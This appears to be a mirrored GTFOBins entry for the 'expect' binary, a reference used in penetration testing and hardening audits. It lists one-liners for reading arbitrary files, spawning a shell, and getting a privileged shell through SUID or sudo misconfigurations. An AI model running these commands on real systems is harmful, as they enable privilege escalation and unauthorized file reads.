mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
ed0922ee57
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
15 lines
483 B
Markdown
15 lines
483 B
Markdown
---
|
|
functions:
|
|
file-read:
|
|
- description: The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. Thus, this might not be suitable to read arbitrary binary files.
|
|
code: |
|
|
LFILE=file_to_read
|
|
expect $LFILE
|
|
shell:
|
|
- code: expect -c 'spawn /bin/sh;interact'
|
|
suid:
|
|
- code: ./expect -c 'spawn /bin/sh -p;interact'
|
|
sudo:
|
|
- code: sudo expect -c 'spawn /bin/sh;interact'
|
|
---
|